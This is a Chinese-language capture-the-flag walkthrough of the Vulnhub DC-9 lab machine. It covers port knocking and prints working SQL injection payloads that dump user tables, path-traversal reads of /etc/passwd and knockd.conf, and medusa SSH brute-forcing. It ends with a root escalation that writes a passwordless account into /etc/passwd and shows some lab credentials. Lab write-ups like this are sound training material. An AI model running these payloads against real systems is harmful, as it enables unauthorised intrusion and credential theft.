Vulnhub-DC-9

nmap 扫描获取目标 IP 地址
Vulnhub-DC-9_第1张图片

nmap 扫描目标 IP 地址获得开放端口:
Vulnhub-DC-9_第2张图片
这里仔细看下,可以看到 22 是 filtered,80 开放,22 是被过滤这就很奇怪,针对这个,首先你得看下这篇文章:
保护 SSH 的三把锁
不想看的看下边:(强推看下原文)

简单总结下就是:1.换端口 2.指定用户登入 3.敲门服务
这里重点说下敲门服务就是,你想打开 ssh 大门,打开大门方式是念咒语,你得先去打开其它几扇门才可以打开 SSH 服务,敲门服务必须安装敲门守护进程 knockd,敲门配置在 /etc/knockd.conf 文件

好啦,带着上述知识继续上路吧~

浏览下 web 页面:192.168.67.43
Vulnhub-DC-9_第3张图片

随便点了一下,发现一些账号,可能有用:
Vulnhub-DC-9_第4张图片

Search 搜索 Mary,跳出来的内容是刚刚的一些账号
Vulnhub-DC-9_第5张图片

尝试加一个单引号,搜索不出,再试试加个 #,页面正常,所以此处有 SQL 注入:
Vulnhub-DC-9_第6张图片

Mary' order by 7# – result 0
+Mary' union select 1,2,3,4,5,6#
Vulnhub-DC-9_第7张图片

+Mary' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3,4,5,6#
Vulnhub-DC-9_第8张图片

+Mary' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='Users'),3,(select group_concat(Username) from Users),(select group_concat(Password) from Users),6#
Vulnhub-DC-9_第9张图片

得到用户名和密码:
admin
856f5de590ef37314e7c3bdf6f8a66dc
数一数是32位,可能是 MD5 ,去 MD5 网站解密,找了多家就这家好用
输入让你无语的 MD5
得到密码:transorbital1,登陆网站
Vulnhub-DC-9_第10张图片

登入之后,细心的你一定可以发现上述 “File does not exit”
猜测存在文件包含漏洞,在 url 地址栏输入:
http://192.168.67.43/manage.php?file=../../../../../../../../../../etc/passwd
Vulnhub-DC-9_第11张图片

但,好像并没有什么乱用欸,也不能像上次那样在日志文件写入 shell,建立连接,那该怎么办呢?可以想到这里有 22 端口等待我们利用呢?但刚刚我们查看数据的时候,好像只有个 admin ,莫非,还有别的东西?

看看还有哪些表没有发现的:

–查询所有数据库
+Mary' union select (select group_concat(table_schema) from information_schema.tables),2,3,4,5,6#
d41a3a915fd9afb6188ee3841f535a7.png
可以看到除了一个 Staff 数据库之外还有一个 users 数据库

–查询 users 数据库下的表
+Mary' union select (select group_concat(table_name) from information_schema.tables where table_schema='users'),2,3,4,5,6#
Vulnhub-DC-9_第12张图片
有一张 UserDetails 表

–查列:
+Mary' union select (select group_concat(column_name) from information_schema.columns where table_schema='users' and table_name='UserDetails'),2,3,4,5,6#
Vulnhub-DC-9_第13张图片

–查数据:
+Mary' union select (select group_concat(column_name) from information_schema.columns where table_schema='users' and table_name='UserDetails'),(select group_concat(username) from users.UserDetails),3,4,(select group_concat(password) from users.UserDetails),6#
将数据保存得到:
Vulnhub-DC-9_第14张图片
从用户名和密码你会发现这个哥们是,是刷了几遍的《老友记》啊!!!

回到前面,我们发现 SSH 是被过滤的啊,那怎么进去?或者说?怎么打开 SSH 服务?,这就要用到前面的敲门了。
文件包含查看一下密令:
http://192.168.67.43/manage.php?file=../../../../../../../../../../etc/knockd.conf
c6b4119b0be2babecd55123ee75ce6e.png
可以看到,欲打开 SSH 的大门,需敲门:7469,8475,9842

Vulnhub-DC-9_第15张图片

敲门后,SSH 就打开了:
Vulnhub-DC-9_第16张图片
但是这么多用户我们应该用哪个呢?手工一个一个试可行但太慢了,可以用 hydra 或者 medusa
medusa -h 192.168.67.43 -U users.txt -P password.txt
等待爆破完成:
Vulnhub-DC-9_第17张图片

可以得到如下账号和密码:这些都是可以拿去 SSH 登陆的
9eb4cd9502aa3f3cd98c7988d41a788.png

分别登录到每个账号:
57f39838d36f58466c7ffb513896b81.png
8c7945c96e3d497568660c98c09ab5b.png
6c1976d3944c7b805420ebab1a133d5.png
每个账号 ls 都没有看到什么东西,那有没有隐藏文件呢?
ls -la
发现其他两个账号都没有 secret 这个目录,只有 janitor 有:
Vulnhub-DC-9_第18张图片

打开看看:
cd .secrets-for-putin
ls -la
cat passwords-found-on-post-it-notes.txt
得到一些密码:
Vulnhub-DC-9_第19张图片

继续用之前得到的用户跑一下这些密码:
medusa -M ssh -h 192.168.67.43 -U users.txt -P sshdd.txt
得到一个新的账号:
fredf B4-Tru3-001

拿去登陆,这是突破口:)
ls -la 没什么东西,看来到这里就是要提权了。
find -perm -4000:没有东西
枚举一下 sudo 权限:
sudo -l
Vulnhub-DC-9_第20张图片
去看看。
cd /opt/devstuff/dist/test
ls -la
cat test
乱码,这是什么类型的文件?采取故意执行报错的方式得知:
./test
66c7e7c7129f0bb505d11706b35f5e7.png

原来是 python 文件,退回到上上层,看到有 test.py:
cat test.py
Vulnhub-DC-9_第21张图片

可以看到 python 文件后面可以跟两个参数:作用是读取第一个文件的内容写入到第二个文件,而且运行的时候是以 root 权限执行的,什么东西写进去之后可以立马提权的 — /etc/passwd
模仿 root 写入即可:
echo "r00t::0:0:root:/root:/bin/bash" > /tmp/k.txt
sudo /opt/devstuff/dist/test/test /tmp/k.txt /etc/passwd

ssh [email protected]
Vulnhub-DC-9_第22张图片

原来必须得要有密钥才可以登陆,否则不可以,我们知道 linux 的加密算法:明文密码和一个叫salt的东西通过函数crypt()完成加密的,我们可以用 openssl 来创建一个名为 r000t 密码为 123 专属 linux 密文:
openssl passwd -1 -salt aa 1234567890
ee8e61da5ceb43194c130e5b4d15c7c.png

cd /root
ls
Vulnhub-DC-9_第23张图片

至此完成了 DC 所有系列,well done!

总结:
1.SQL 注入2.密码破解3.细心观察4.linux 写入 /etc/passwd 提权5.ssh 敲门服务6.ssh 爆破7.隐藏文件8.openssl

你可能感兴趣的:(Vulnhub)